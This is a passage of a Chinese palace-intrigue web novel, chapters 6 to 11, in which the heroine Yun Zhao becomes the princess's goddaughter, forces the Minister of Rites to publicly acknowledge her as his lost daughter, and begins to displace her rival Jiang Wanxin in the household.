“姑母息怒。”太子温声开口,“姑母今日生辰……”
长公主轻笑一声:“本宫今日生辰,想替府中婢女撑腰,收回母后的御赐之物,有何不可?”
她略一抬手,“周嬷嬷。”
“殿下!”姜绾心哽咽,荏弱如青荷的小脸上挂满了泪珠儿,“臣女真的知错了。”
年前一次宫宴,她凑巧救了太后最喜欢的鹦鹉,这柄御赐折扇,是她好不容易才得来的赏赐。
满京贵女之中,这是独一份的殊荣。
就连那雍容高华的丞相之女宋白玉,在这一点上,也被她远远甩在后头。
也是因这一桩人人交口称赞的逸事,这小半年来,满京无人不夸她这位姜家小姐,不仅蕙质兰心、心地纯善,而且是身具福运之人。
若不是有福,如何能救得了太后的爱宠鹦鹉?若不是福运昌隆,又怎能轻易得了太后她老人家的青眼!
如果因为今日这样一件小事,就把折扇收走,她实在是不甘心!
长公主皱了皱眉:“本宫不是男子,你哭成这副模样,是想给谁看?”
说到这,她轻瞥了坐在下首一语不发的太子一眼。
近来她确实听到了一些传闻,但那又如何?皇室联姻,本就瞬息万变。
只要她姜绾心没那本事攀上东宫,就只是姜尚书家的嫡女。
更何况,她身为当朝唯一的长公主,就算一时揪不出这画卷一事的幕后之人,还整治不了一个姜绾心?
两名身手利落的嬷嬷应声上前,一人反剪其臂,另一人利落地捋起她的衣袖,转眼便搜出那柄珊瑚宝扇,呈予长公主。
长公主冷眼扫过:“此物本宫暂为保管。他日母后若是问起,本宫自会好好向她老人家分说今日情由。”
姜绾心颓然瘫坐于地,鬓发散乱,心中唯剩一个念头:完了。
她下意识抬眼,正撞上云昭的目
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光。
而云昭也正默然注视着她,眼神平静无波,如同在看一个**。
姜绾心不由打了个寒噤。
就在此时,一道沉稳男声响起:“小女无状,冲撞殿下凤驾,皆因臣管教无方,恳请殿下恕罪。”
只见一位身着紫色官袍的美髯男子自太子身后步出,躬身行礼——正是礼部尚书姜世安。
他身着朝服,行色匆匆,分明是听闻了公主府内发生的事,匆忙之中赶来的。
“姜尚书也来了。”长公主语气疏淡,“姜尚书是朝廷重臣,亦是陛下面前的红人,本宫可当不起你这般大礼。”
云昭的目光定定落在姜世安脸上。
这便是她的生身之父?
纵容嫡子行凶灭门,将来历不明的假千金娇养在门庭,一心想扶她入主东宫,却对亲生骨血不闻不问十六载!
与此同时,姜世安的目光亦越过众人,沉沉落在云昭面容之上。
他神色微凝,眼底掠过一丝惊疑,竟不由自主地将她眉眼轮廓细细端详了好几回。
旋即,他收敛心神,朝向长公主深深一揖:
“殿下今日严惩,收回小女御赐之物,看似苛责,实则是莫大的教诲与期许。心儿年轻识浅,得殿下如此亲自管教,是她的造化。”
他侧首看向姜绾心:“心儿,还不快谢过殿下训诫之恩?”
姜绾心连忙叩首,声音哽咽:“心儿知错了!谢殿下教诲,心儿定当深刻反省,日后谨言慎行,绝不再负殿下今日苦心!”
父女两个一唱一和,竟顷刻间将一场当众申饬的难堪,巧妙粉饰成了长公主对晚辈的苦心栽培与特殊眷顾。
云昭静立一旁,冷眼旁观,心中暗忖:好一个执掌天下礼法的尚书大人!
以退为进,巧舌如簧,顷刻间便能颠倒黑白。
第7章 认长公主义母,赐凤命彩笺
长公主声线冷厉:“既知管教不严,姜尚书便该将人带回去,好生管教。若是教不好这闺阁规矩,日后,也就不必出门了!”
姜绾心满含**地缓缓起身,听闻此言,她身子猛地一晃,几乎站立不稳。
她是姜尚书家的嫡女千金,是京城首位得太后亲赐殊荣的贵女,更是无数世家公子暗中倾慕的对象……
可一转眼,她竟被长公主当众申饬,收回御赐之物,更被勒令禁足思过!
尤其这一切,还尽数落在太子殿下眼中!
姜绾心含恨睇向云昭:哪里冒出来的煞星,分明是生来克她的!
正当众人皆以为风波已息之时,长公主却再度开口,清朗嗓音传遍水榭:
“今日诸卿贺礼,本宫件件皆喜。然春日宴彩头,终需择其最优。”
包括姜绾心在内,几乎所有人的目光,都投向**一旁的宋白玉。
姜绾心画作已毁,余下贺礼之中,才情最盛、最得长公主青睐的,自然非宋白玉那幅《百寿图》莫属。
宋白玉依旧仪态端方,喜怒不形于色。
不料长公主却朝云昭招了招手:“孩子,你过来。”
满堂寂静,落针可闻。
“你修补羽簪,为本宫和周嬷嬷施针救治,是个忠勇有嘉的好孩子,本宫喜欢。”
说到这,长公主将一枚绘有碧云寺祥云纹的赤金笺纸放入云昭手中——那正是佛诞日头炷香的凭证。
“今日彩头,非你莫属。”
长公主语声温和,又抛下石破天惊的一句话:“此外,本宫欲认你为义女,你可愿意?”
云昭微微一怔。
四下哗然顿起,劝阻之声此起彼伏:“殿下三思!”
被萧启一脚踢得吐血晕厥的姜珩醒来不久,眼见姜父现身,总算帮姜绾心挽回颜面,一直在默默隐忍。
听到此节,忍不住也跟着出声:“一个来历不明的野种!她如何配!”
但他声音嘶哑,尽显恶毒的咒骂也湮没在人声之中,并未引起众人的注意。
唯独端坐一隅的萧启,目光阴沉,越过众人,落在他的身上。
就连太子也忍不住蹙眉开口:“姑母,认义女非同小可,此事关乎宗室体统,还须慎重。”
一声极轻的笑,划破满场寂静。
众人近乎骇然地望去,只见秦王安坐一旁,端着酒盏,唇角弧度轻绽:“姑母既喜欢,就是她的造化。”
世人皆知秦王殿下俊美无俦,但性情冷冽,极难讨好。否则也不会以天潢贵胄之身,得个“玉面阎罗”的诨号。
在场这些公卿贵妇,相识秦王十余载,何曾见他因一个女子轻易笑过?
似月临清潭,似春江破冰!
在场不少贵女,因秦王这一抹淡笑,心跳骤快,猝然红脸。
“太子不必忧心。”长公主笑睇了秦王一眼,浅笑嫣然:
“此事本宫年前便已向陛下请过旨意。陛下亲口允诺,只要本宫心悦,不论家世出身,皆可认在膝下。”
太子温声道:“孤并非看重门第之人,只是,”他目光在云昭脸上轻轻刮过,“既入宗谱,总需经礼部勘合,方合礼制。”
“姜尚书不正在此?”秦王悠悠添了一句。
“罢了。”太子无奈一笑,“既然姑母心意已决,堂兄也乐见其成,孤再多言,倒成了不解风情的恶人了。”
长公主似被取悦,拊掌笑道:“这才是本宫的好侄儿。”
秦王则朝长公主的方向略一举杯,声线微沉:“恭喜。”
简简单单的两个字,却让云昭心头微跳。
她下意识地抬眸,却正撞入萧启那双深不见底的眸子。他眸色幽深,似笑非笑,正牢牢锁着她。
云昭捉摸不透,这声“恭喜”到底是说给谁听的,一时又觉得是自己想多了。
她心绪微乱,只得垂下眼帘,动作极轻微地轻点下颏,算作回应。
笑站在一旁的周嬷嬷,指挥手下婢女
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递上茶盏:“姑娘,敬茶罢!”
云昭双手接过,稳稳跪下,将茶盏高举过眉,声音清晰而恭谨:“云昭拜见义母。”
阶下,姜绾心死死咬住下唇,口中已尝到一丝血腥味。
若不是今日接连出事,这一切本该是她的!碧云寺第一炷香的殊荣,长公主的专宠和“义女”之喜,本该是她的囊中之物!
不远处手抚胸口立在人群中的姜珩,亦满眼恨意。
他恨自己当日心慈,眼见她被下了化功散,便没再多刺她几剑!恨没有坚持下山找到她的尸身,抛入漫山野火之中!
一念之仁,却给今日的自己和心儿,留下这么大的祸患!
“好孩子。”长公主含笑受了云昭这杯茶,柔声问道:“既成本宫义女,我儿可有何心愿?今日本公开怀,但说无妨。”
云昭起身,眼底滑过一丝暗芒,声音却故作轻颤:
“昭儿不敢隐瞒。此次上京,实为寻亲而来。奈何与亲生父母分别十六载,不知,他们可还愿认我这个女儿。”
长公主见她肩膀微颤的模样,只当她心中惶恐委屈,当即怜爱之心大起:
“傻孩子,既有本宫替你做主,谁敢不认?你只管说来!”
在场有好事者问:“云姑娘既说进京寻亲,也就是说,此人必定在京城了,为官还是经商?”
秦王亦在此时淡淡开口:“小医仙神清骨秀,瞧着倒像是世家出身。不知满朝文武,哪一位是云姑娘的生父?”
平日里,秦王性情冷冽,极少将心思放在什么人身上,今日却为了一个女子,一连三次开口。
难道,真是铁树开花了?
在场众人见状,纷纷将目光投在云昭身上。
就连一直对云昭神色疏淡的太子,也投来探究的目光。
云昭抬起头,眼底没有泪水,却清清楚楚透着恨意。
她看着长公主,轻声道:“我父亲姓姜,乃当朝礼部尚书,姜世安。”
第8章 逼渣爹当众认亲!
一语既出,满堂皆惊!
阶下姜绾心满眼惊愕,不远处的姜珩忍不住上前,却被姜世安先一步,阻止步伐。
长公主先是一愣,待看清云昭眸中恨色,心头纳罕的同时,也不由将毫不掩饰厌憎的目光,投向站在太子身畔的姜世安。
姜世安挡在姜珩身前,仪态岿然,言辞依旧斯文有礼:
“殿下明鉴,此事恐怕大有误会。臣与发妻苏氏,确育有一子一女,长子姜珩,小女绾心,此事满朝皆知,岂会有假?”
他神色静持,语气诚恳,仿佛平白蒙受了冤屈。
现场议论声喋喋不休,不少人将云昭认亲一事,看作一桩姜世安年轻时犯下的风流孽债。
姜绾心身旁与她相熟的贵女也道:“难怪她今日总是针对于你,原来,她也是姜家的女儿!”
二房姑娘姜绾宁撇了撇嘴:“什么姜家的女儿?满打满算,也就是个私生女,怎能跟心儿这个姜家嫡女相提并论!”
姜绾心皱着眉,有点不耐烦地打断贵女们的猜疑:“诸位姐姐,别听风就是雨,她……”
云昭却在这时清晰道:“我父亲是姜世安,我的母亲,是苏**。”
“苏**“三字一出,众人皆惊!
长公主与云昭四目相对,看清她眼底毫不保留的恨意,从中窥见了一丝异样。
她猛地想起这些年关于苏氏缠绵病榻、深居简出的传闻,心念电转间,一个荒谬的念头浮上心头。
她沉声问:“孩子,你说你是他们二人的女儿,此事可有凭证?”
云昭自怀中取出一枚玉佩:“此乃当年太皇太后亲赐给我母亲之物。”
不远处,姜珩盯着玉佩的双目,恨得简直要滴出血来!
果然,这玉佩一直被她藏在身上!她心机太深了!
长公主接过玉佩一看,唇角泛起笑:
“巧了。当年皇祖母将此玉赐予姜夫人,说是要赠给她生的第一个女孩,本宫正在身旁。此玉质地特殊,且皇祖母所赐之物,皆有宫内刻印。”
她扬声道,“来人,查验。”
云昭转身,目光直直看向姜世安:“姜大人口口声声,只有姜绾心一个女儿,不知她可拿得出太皇太后亲赐的玉佩?说她是姜家嫡女,可有明证?”
姜绾心顿时脸色煞白。
姜世安眸色深沉,紧盯着云昭,他不紧不慢道:“心儿自小养在我们夫妻身边,家中上下皆可为证。”
云昭淡笑了声:“那会不会是抱错了呢?”
姜世安一时不语。
姜珩想要说什么,但四周质疑之声渐起,在场不少夫人、老夫人已开始八卦:
“怪不得一个乡野游医,能有这样的容貌气度,原来竟是姜家失散多年的女儿?!”
“其实这么看来,这小医仙的五官模样,简直跟姜夫人年轻时是一个模子刻出来的!”
“那姜绾心呢?瞧着像哪个?”
越来越多的人,将探究的目光投向姜绾心,
姜绾心泪如雨下:“我、我不知什么玉佩……但我确是爹娘的女儿!”
“心儿,莫哭。”姜珩忍不住扬声安抚:“兄长只认你是我的妹妹。我们姜家,只有你这一位嫡出女儿,绝不会弄错!”
云昭步步紧逼,定定看着姜世安:
“姜大人身为一家之主,又是执掌礼部的尚书,博闻强识,巧捷万端,想必总有法子,能让我与姜绾心验明正身,也免混淆血统,欺瞒朝廷。”
此言一出,满座皆惊!
坐在一旁的萧启不由露出一丝兴味,低笑了声:“猫儿要露出爪子了。”
就在这时,一旁负责检查玉佩的匠人道:
“回禀殿下,此物确是宫中之物,玉佩背面的刻印做不了假。且此玉质地特殊,冬暖夏凉,乃是当年朱玉国进献的宝物。当年太皇太后命人做了两块玉佩……”
长公主颔首道:“不错,若本宫没有记错,另一块玉,当年皇祖母赏赐给了渊儿的母亲。”
萧启目光定在长公主手中的玉佩,眸色微深,似是陷入了回忆之中。
秦王萧承渊的母亲,也就是先皇的发妻,早在当年先皇薨逝的第三日,因悲伤过度,也跟着去了。
因而有关此事,哪怕是皇室成员,平日里也避之不谈。
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一时间,满室遽静,无人敢言。
姜世安低垂着脸,忽而撩袍跪地:“殿下明鉴!臣有罪!”
众人闻言,目光全都落在这位当朝新贵的身上。
只听姜世安声音沉痛却清晰:“当年内子所生,实为一对孪生女!
只因其中一个刚出生不久,便不幸遗失,臣夫妇痛彻心扉,为免触景伤情,对外便只称生有一女……
不想天意怜见,十六年后,我儿竟自行寻回!此乃天意,臣,欣喜万分!”
“爹爹!”姜绾心失声惊呼,娇俏的小脸血色尽褪,难以置信地望向父亲。
一旁的姜珩也目露震惊,但他很快就明白过来父亲的用意——
这时要以退为进,先将人认回府中,再图后计!
他指节攥得发白,低垂的眼睫,敛住眼底凌然杀意。
姜世安却已命令二人,语气不容置疑:“心儿,珩儿,还不过来与你妹妹相认!你们是一母同胞,骨肉分离十六载,如今得以团聚,实乃我姜家大幸!”
姜珩深吸一口气,率先上前。
迎着长公主及众人或审视、或看热闹的目光,他朝云昭勉强行了一礼,声音紧绷:“见过妹妹。”
云昭轻眨了眨眼,语气带着刻意的欣喜:“兄长,我早就说过的,我们会再见的。”
此言一出,又引来众人注目。
姜珩脸色难看极了,他觉得云昭就是个疯子!
才得了长公主的青眼成为义女,就敢当众逼迫父亲认亲!
如今认亲成功,一朝成了姜府的千金,**云昭当众还会抖落出什么来。
他扯出一抹僵硬的笑:“妹妹……说笑了。”
长公主却被勾起好奇:“昭儿,你们从前见过?”
姜珩牙关紧要,清俊的脸微沉,死死盯住云昭。
云昭将他这副紧张心虚的模样尽收眼底,唇角弯起一抹浅笑:
“回义母。我一见兄长,就觉亲切,仿佛……从前在梦里已见过千百回似的。”
她语气轻柔,字字敲在姜珩心上。
姜世安闻言眸色一沉,心知这两人之间必有蹊跷。
第9章 成嫡长女,揭假千金装晕
他佯作不知,打圆场道:“珩儿向来是最疼爱家中弟妹的。等阿昭回府便知,府中上下,定会待你如珠如宝。”
长公主却冷哼一声,心疼地朝云昭招手,示意她过去:“昭儿莫怕,若是姜家有谁敢怠慢于你,你记得随时来和义母说!”
云昭顺势看向一旁沉默不语的姜绾心:“可是,我瞧心儿妹妹的模样,像是并不欢迎我回家呢!”
在场众人无有不知,姜家嫡女姜绾心蕙质兰心,言行周到,堪称世家千金的典范。
可自从认亲,她却反常得一语不发。一时间所有人的目光都落在姜绾心煞白的脸上。
姜世安眉头紧皱,语气带上一丝不易觉察的警告:“阿昭。”
他称呼得略显生涩,试图纠正,“心儿是姐姐,你当称心儿一声阿姊。”
云昭讶然睁大明眸,像是听到了极为奇怪的话:“可爹爹方才不是说,我们乃是孪生?”
她又看向身后一直慈爱注视着她的长公主:“我听方才义母说,太后娘娘当年亲赐玉佩,明言是赠予母亲的第一个女儿。这玉佩既在我身上——”
她指尖轻抚那片温润的美玉,语气温温柔柔,却寸步不让,“那我自然便是姐姐了。”
姜珩急欲开口反驳,姜绾心也从不甘与惊慌中回神,正待诉说委屈——
“好了。”长公主却已开口,不容置喙,“昭儿流落在外十六年,吃尽苦头,如今安然归来,自是姜家名正言顺的嫡长女。”
她长眸微眯,看向姜世安:“姜大人,莫要委屈了孩子。若让本宫知道你们待昭儿有半分不周,本宫会亲自接她回公主府常住。”
长公主一锤定音。
“嫡长女”三字,如惊雷炸响,彻底劈散姜绾心心头的最后一丝侥幸。
她苦心经营多年的一切——
家人的专宠,京城的美名,乃至遥指东宫的绝佳姻缘……
这所有的一切,随时都有可能被这突如其来的“姐姐”彻底夺去!
她气血翻涌,喉头一甜,软软地晕厥过去。
“心儿。”姜珩脸色骤变,疾步上前,一把将人揽入怀中,抬头疾声道,“御医!快请御医来看看我的妹妹!”
他心急如焚,竟一时忘了分寸。
不远处的两位御医闻言,却未立即行动,而是下意识地先觑向太子的脸色。
云昭上前一步,指尖刚欲搭上姜绾心的脉搏,就被姜珩猛地一掌推开。
云昭顺势踉跄几步:“兄长?”她不明所以,“我亦是医者,同为女子,由我为妹妹看诊,岂不更为妥当?”
姜珩在看到云昭眼中一闪而过的讥诮时,猛然反应过来——
自己关心则乱,竟又一次中了她的圈套!
周遭窃窃私语嗡嗡响起:
“兰台公子对这个新认回来的妹妹,敌意未免太大了些。”
“虽是心疼绾心小姐,可也不该这般厚此薄彼!”
“没错,云姑娘才是流落在外、受尽苦楚的那一个!怎不见他有半分怜惜?”
姜珩脸色愈发难看,但让他当众向云昭低头认错,却是万万不能!
姜世安面色一沉,出声呵斥:“珩儿,不得无礼。”旋即又转向云昭,“阿昭,你兄长也是一时情急。你们乃是一母同胞的至亲,一点小误会,莫要往心里去。”
云昭从善如流:“女儿明白。”
心底却是一片冰凉的嘲讽:姜世安反复强调,他们兄妹三人是一母同胞,这是怕她起疑?她现在倒是对姜绾心的身世好奇起来。
恐怕,绝不是普通的孤女那么简单。
云昭再次上前,指尖轻搭上姜绾心的腕上。
方才还“昏迷不醒”的姜绾心嘤咛一声,羽睫轻颤,悠悠转醒。
她小脸苍白,气若游丝般闻到:“我……我这是怎么了?”
云昭“噗嗤”一声
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笑了出来。
顿时,所有目光都聚焦在她的身上。
云昭强忍笑意,眼波流转间,尽是了然:“妹妹这不是无事了?”
姜绾心的脸色,瞬时变得极为难看。
她急着“醒”来,就是怕云昭诊脉时,会说出什么不利于她的话。
谁知,她确实来不及说什么,但刚刚那一声忍俊不禁的笑,已足以引得在场众人各有揣测。
她悄悄抬眼望去,只见太子殿下微微凝眸,看不出是喜是嗔。
但周遭许多的夫人、老夫人的目光,已透出几分了然与轻蔑——
在场这些男子或许看不出,但她们同为女子,内宅之中这等装晕卖惨、争宠斗气的伎俩,她们平日里见得多了!
方才或许还被她的娇弱迷惑,可刚刚云昭那一笑,如同戳破了最后一层窗户纸。
姜绾心只觉十六年来积攒的所有颜面,都被云昭踩在脚下,反复践踏。
“好了。”长公主开口,“昭儿,你且过来。”
在众人各异的目光中,云昭步履平稳地走至长公主身侧。
长公主极其自然地执起她的手,让她立于自己身旁,那份不言而喻的维护与亲近,足以让在场所有人都看得分明。
更令人侧目的是,素来不耐宴饮、常提前离席的秦王萧启,此刻竟仍安坐于席。
他指尖漫不经心地摩挲着酒杯,幽深的目光却越过众人,牢牢锁在云昭身上。
阶下,从前风头无两的姜绾心,此刻面色煞白,孤零零地站着,身形摇摇欲坠,楚楚可怜之态尽显。
就在她几乎软倒的瞬间,太子适时上前,伸手稳稳扶住了她的手臂。
“小心。”太子声线温润,举止清雅。
立于高处的云昭,将这一切尽收眼底。
她看得分明,太子扶住姜绾心时,目光不着痕迹地越过了姜绾心的肩头,精准地扫过她握在掌中的玉佩。
第10章 前世玉佩已认我为主!
午后时分,春阳明媚。
姜府的几辆马车,在公主府侍卫无声的“护送“下,辘辘驶向位于城东的尚书府邸。
姜世安与姜珩父子同坐一辆马车,车内,沉静得近乎压抑。
“父亲。”姜珩怎么都压不下心头那股邪火,“您为何要同意长公主将那两个奴婢塞进府中?
她们与心儿结怨在先,如今又有云昭那个祸水……
日后,您与我皆需上朝理事,留心儿一人在内宅,岂不是任她们捏扁搓圆?”
姜世安本在闭目养神,听到此处,皱了皱眉。
他一向看重长子,觉得他才思敏捷,又有城府,颇类己身。
可今日在公主府的种种,乃至方才这番言论,都透着一股令人生厌的短视与愚蠢。
他缓缓睁眼,目光沉郁地扫向姜珩,还未开口,姜珩已下意识地垂了眼。
“孩儿知错。”他低声道。
“错在何处?”姜世安语气平淡,却透着无形的压力。
姜珩下颌紧绷,半晌,才不情不愿地开口:“不该妄议长公主。身为男子,亦不该过度沉湎后宅琐事,徒耗精力。”
这些话皆是姜世安往日教诲,可一想到姜绾心苍白晕倒在怀里的模样,他心头一痛,忍不住又道:
“可父亲!那个云昭,就是一条毒蛇!她今日那般折辱心儿……”
“都是细枝末节。”姜世安冷睇着他,“珩儿,你记住。大丈夫行事,当断则断。既已出手,务要斩草除根,不留后患。”
姜珩一怔,旋即眼中迸出一丝亮光,急道:“父亲,那孩儿即刻……”
“晚了。”姜世安截断他的话,“方才在满堂宾客面前,为父亲口认她归宗。她若出事,那些公卿贵人会如何想?三位殿下又会如何想?你我的官声还要不要?”
他语重心长:“珩儿,你是新科状元,不日便要赴任新职,首重便是清誉官声!”
姜珩如被兜头浇了一盆冷水,彻底冷静下来:“父亲说的是。”
见他有所悟,姜世安语气稍缓,带上几分语重心长:“你关心心儿,为父知晓。但你们都大了,许多事,你这做兄长的,不该越俎代庖。”
他在提点姜珩,需与姜绾心保持距离。
姜珩听懂了,却颇不以为然:“父亲多虑了。孩儿虽自幼便知,心儿是您故交之女,但我们一同长大,情分非同一般。我一直将心儿看作亲妹一般呵护。”
姜世安额角青筋微微一跳。
“总之……谨守规矩,莫要行差踏错。”他沉声,字字斟酌,“下个月初之前,凡事谨慎。”
姜珩听到后半句,眼底闪过一抹亮光:“是,孩儿省得!”
*
另一辆马车里,姜绾心与云昭分坐两端,无声的对峙在车厢内蔓延。
云昭指尖勾着那枚玉佩的丝绦,有一搭没一搭地在掌心把玩。
姜绾心的目光,自上车起,便似被无形的线牵引着,牢牢系在那枚玉佩上。
她终于忍不住,故作惊讶地轻呼一声:“阿姊,你这玉佩……怎的竟透着一丝血色?”
方才在阶下距离远,未曾看清。此刻近在咫尺,她才真切瞧见——
那雕刻着青云出岫的玉佩上,旭日边缘竟缠绕着一缕极细的血丝,宛若朝阳初升时浸染的霞光,浑然天成。
云昭淡淡一笑:“这玉佩我自小佩戴,原本是干干净净的。”
她顿了顿,指尖抚过那缕血色,抬眸看向姜绾心那双掩不住嫉妒与渴望的眼,才继续道,
“只是前些日子,我偶然做了个梦。梦里许多人要来抢夺它,幸得一位老仙人指点,说若不想此玉旁落,需以血为契,令其认主。”
她故意将“以血为契”几字咬得轻缓,看着姜绾心眼底的贪婪骤然凝固,转为一丝难以置信的惊疑,才悠悠补充:
“如今它已认我为主,旁人再如何费尽心机,也是徒劳了。”
姜绾心面上笑容微僵,旋即用锦帕掩了掩唇角,强笑道:
“阿姊真会说笑。即便此物是太皇太后所赐,终究也只是一块玉罢了,哪有什么认主之说。”
她语气轻松,眼神却锐利如针,紧紧盯着云昭。
云昭但笑不语,只将那玉佩稳稳握回掌心,一派尘埃落定的从容:钩子她已经下了,且看接下来会不会有人来抢这玉佩!
姜绾心等不到她后续的解释,心中如被猫爪挠搔,焦灼难耐。
她眼波流转,忽而换上关切神色,柔声问道:“说起来,阿姊这些年在外面,想是吃了不少苦吧?若那收留你的人家尚在,不妨告知父亲。
我们姜家定将他们风风光光接来京城,也好全了阿姊这份知恩图义的心。”
她眸中幽光闪烁,试探之意,昭然若揭。
云昭掀眸,直勾勾地看着她:“不必。他们都**。”
姜绾心呼吸一窒,眼底猝然掠过一丝惊慌。
她想起姜珩那日从外地归来,抚着她发顶柔声安抚:“心儿莫怕,往后……再无人能令你夜半惊梦了。”
云昭凝视着她细微的神情变化,继续道:“妹妹不想知道,他们是如何死的吗?”
姜绾心羽睫剧颤,下意识地避开她的视线。
“他们是被人杀死的。”云昭一字一顿,吐出令人胆寒的话语,
“我的小师妹,今年刚满五岁,小小的身子被人一刀劈成两半,还未立刻断气,嘴里一直喊着,‘师姐,囡囡好疼’。”
姜绾心脸色惨白,强扯出一个僵硬的笑:“阿、阿姊莫要吓我。这些浑话,岂能乱说……”
“妹妹何必惊惧?”云昭唇角勾起一抹冰冷的讽笑,“常言道,不做亏心事,不怕鬼敲门。莫非妹妹……做了什么亏心事?”
恰在此时,马车猛地一个颠
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簸,随即骤然停下!
姜绾心花容失色,吓得失声尖叫!
车夫在外连声告罪,说是方才为避让行人,不慎碾到了一只野狗。
不远处,姜珩闻声,快步从前方马车快步折返。
“出了何事?我听见心儿的叫声!”他语带厉色,将车门拍得砰砰作响,“云昭!是不是你又欺辱心儿了?”
云昭眸光微冷,猝然起身,快步走向车门。
车轮本就歪斜,她倏然从车后移步至前,车厢随之一倾。
站在外面的姜珩只当冲出来的是受尽委屈的姜绾心,用尽全力,抬手托住车厢。
“哗啦“一声,云昭一把掀开车门。
瞥见姜珩这副俊脸通红的托举之态,她毫不客气地一脚踏上他绷紧的脊背,借力一跃,稳稳落地。
“兄长果然一诺千金。”
云昭回首,眸中透出几分戏谑,“才答应过要抬轿铺路,迎我归家,没想到这么快便亲身践行了。这份赤诚,妹妹心领了。”
姜珩只觉得背上一阵火辣辣的钝痛,不用看也知道,肯定被这野蛮的女人踩得一片青紫。
他羞愤交加,却顾不得同云昭计较,一颗心全系在仍在车中的姜绾心身上。
“心儿!”他急唤。
姜绾心伸手,轻搭在他及时递来的小臂上,婷婷袅袅下了车,声音含怯:“兄长……”
“她没把你怎样吧?”姜珩急切地上下打量她。
姜绾心依偎在兄长身侧,轻轻摇头,目光却怯生生瞟向云昭。眸中水光潋滟,满是惊惧与委屈,俨然一副受尽欺凌却不敢声张的模样。
另一边,云昭早已无视了这兄妹情深的戏码。
她的目光被车夫手中一只呜咽哀鸣的小黄狗吸引。
那小狗瞧着刚出生不久,一条后腿被碾得血肉模糊。
车夫见云昭注视,忙欲将小狗藏到身后,陪着笑脸:“这腌臜畜生,没得污了贵人的眼,小的这就去处理干净……”
云昭却径直伸出手:“给我。”
车夫讪讪地看了一眼手里的小狗,似乎还有些不舍——个头不大,肉却嫩,本想着今晚回家,炖一锅香喷喷的狗肉打牙祭呢!
姜珩见她无视,怒火更炽,厉声斥问云昭:“你到底对心儿做了什么?!”
云昭充耳不闻。
少女脊背挺得笔直,步履沉稳,一步一步,径直朝着那象征着姜家权势的尚书府大门走去。
她要做什么?
她要亲手斩断姜绾心的东宫美梦,她要姜世安和姜珩这对虚伪的父子身败名裂!
她要姜家满门跪在她面前悔不当初!亲口承认他们犯下的全部罪孽!
他们越是在意什么,她就偏要夺走。
他们越是看重什么,她便要当着他们的面,一件一件,亲手砸个粉碎!
今日在长公主府发生的一切,不过才只是个开始!
第11章 心儿可是未来的太子妃!
姜府朱漆大门前。
门房早已得了消息,敞开中门相迎。
姜老夫人被一群丫鬟婆子簇拥着,急匆匆迎了出来。
她身着赭色锦缎袄裙,珠翠满头,极力堆砌着富贵,厚厚敷粉的脸,难掩粗鄙与刻薄。
姜家是在姜世安娶了苏氏女之后,才崭露头角,而这位老夫人,半生居于村中,是后来跟随长子姜世安入京,才硬学着做起这尚书府的太夫人。
她目光急切地扫过众人,一眼便瞧见兄妹二人的狼狈,尤其姜珩竟衣衫脏污,胸口赫然印着半个模糊的脚印!
老夫人当即捶胸顿足,扯高了帕子哀叫起来:“哎哟!我的珩儿!我的心肝肉!这是造了什么孽啊?好端端地去赴宴,怎就被人作践成了这副模样!”
姜世安眉头紧锁:“母亲,此事容儿子稍后细说,先进府罢。”
“进府?进什么府!”姜老夫人的目光落在云昭身上,声音陡然拔高:
“就是这个不知道从哪个山坳坳里爬出来的野丫头搞的鬼是不是?还没进家门呢,就先把我的心头肉磋磨成这样!”
她越说越气,指着云昭厉喝道:“见了祖母,为何不跪?果然是没人教的野种!”
这一顶“不孝”的大帽子,当场就扣了下来!
在姜家,老夫人向来跋扈专横。一旁跟随的二房、三房以及一众仆妇,顿时屏息凝神,低眉顺眼,不敢触这霉头。
只余光却忍不住悄悄打量那始作俑者,有人幸灾乐祸,有人好奇观望。
一旁的严嬷嬷面色一沉,正要开口,云昭轻轻抬手阻止了她。
春日的明澈阳光洒在她身上,衬得她肤光胜雪,站在朱门高墙下,说不出的耀眼光华。
“孙女流落在外十六年,尝尽人间苦楚。今日归来,祖母不问孙女这些年来受过多少委屈,吃过多少苦头,开口便是斥责,闭口便是规矩。”
她顿了顿,目光扫过在场众人,最终定格在老夫人扭曲得簌簌落粉的脸上:“难道姜家的规矩,便是对失散多年的骨血毫无怜惜之情,只有苛责之态?”
姜老夫人何曾被人如此当众顶撞质问过?
她本就不是机辩之人,顿时被噎得面色铁青,嘴唇哆嗦,半晌挤不出一个字。
云昭望向一直沉默不语的姜世安:“父亲,我乏了,我的院子安排在何处?”
姜世安被问得一怔,这才骤然意识到,府上是真真切切要多出一位嫡小姐。
一应吃穿用度、住所仆役,皆须重新安排。
他不由看向一直侍立在老夫人身侧的中年女子。
负责管家的二房杨氏道:“听雪苑如今还空着,日日有人打扫,器物也都是齐全的,不如就让大姑娘在那儿暂歇罢?”
姜世安颔首:“阿昭,便先住听雪苑吧。那里清静,离你祖母也近,正好你刚回来,多陪陪你祖母,彼此也多亲近亲近。”
亲近?是想让她每天晨昏定省,放在眼皮子底下,方便日日拿捏吧?
云昭讶异地看向姜世安:“父亲莫非忘了,方才在公主府,已言明我为长,心儿为幼。我既归家,一切自当拨乱反正,各归其位,方合礼数。”
姜绾心闻言,身子摇摇欲坠,两行清泪瞬时滑落,啜泣声细细响起。
姜珩见状,心急如焚,看向云昭的目光几乎喷出火来。
云昭却面不改色:“我自小长在乡野,没什么讲究。妹妹从前住在哪,我便住哪好了。
至于屋子里的一应物件,就让我身边的严嬷嬷去一趟库房,捡些合我身份的来用便是。”
在场众人的神色一时都微妙起来。
院子要抢府中最大最好的,物件一应要最新最贵的。
这新归来的大小姐,果然不是个省油的灯!
“这怕是不大妥当!”二房杨氏猛地拔高声音,像是被踩了尾巴的猫:“心儿可是未来的太子妃!
若让她搬离栖梧苑,此事传扬出去,旁人还不知要如何编排我们姜家厚此薄彼,苛待未来的贵人!”
老夫人一听“太子妃”三字,腰板顿时挺直,斩钉截铁:“没错!栖梧苑就是心儿的,谁也别想动!”
云昭倏然一笑:“说起来,我倒有一事不明。京中盛传姜家嫡女即将与太子殿下订婚,这婚约,究竟是从何而来?莫不是凭太皇太后御赐的玉佩?”
她素手轻抚着玉佩上的丝绦,直视着姜父眼底的阴沉,缓声道,“我乃姜家嫡长女,玉佩的真正主人,姜家真要与太子订婚,难道不该是我?”
此言一出,姜绾心的哭声戛然而止!
她猛地抬头看向云昭,眼中充满
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了难以置信的惊惧。
今日在公主府,云昭已害她丢尽脸面,失了太后娘娘的御赐宝扇;
如今回到家中,竟连她的院子、她的婚约也要一并夺走?!
不行,绝不可以!
姜绾心求助地看向姜家几位长辈:“父亲,祖母……”
